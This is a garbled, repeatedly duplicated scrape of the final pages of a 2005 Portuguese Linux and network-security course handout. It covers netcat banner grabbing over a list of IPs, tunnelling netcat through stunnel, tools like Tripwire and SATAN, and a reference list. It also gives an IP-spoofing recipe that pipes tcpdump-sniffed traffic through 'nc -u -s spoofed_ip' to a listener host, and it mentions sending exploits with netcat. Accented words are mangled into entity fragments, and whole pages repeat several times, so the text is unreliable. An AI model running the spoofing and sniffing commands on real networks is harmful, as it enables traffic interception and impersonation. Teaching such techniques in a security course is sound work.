destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 55: Curso de segurança em linux e redes em geral

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 56: Curso de segurança em linux e redes em geral

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 57: Curso de segurança em linux e redes em geral

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 58: Curso de segurança em linux e redes em geral

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71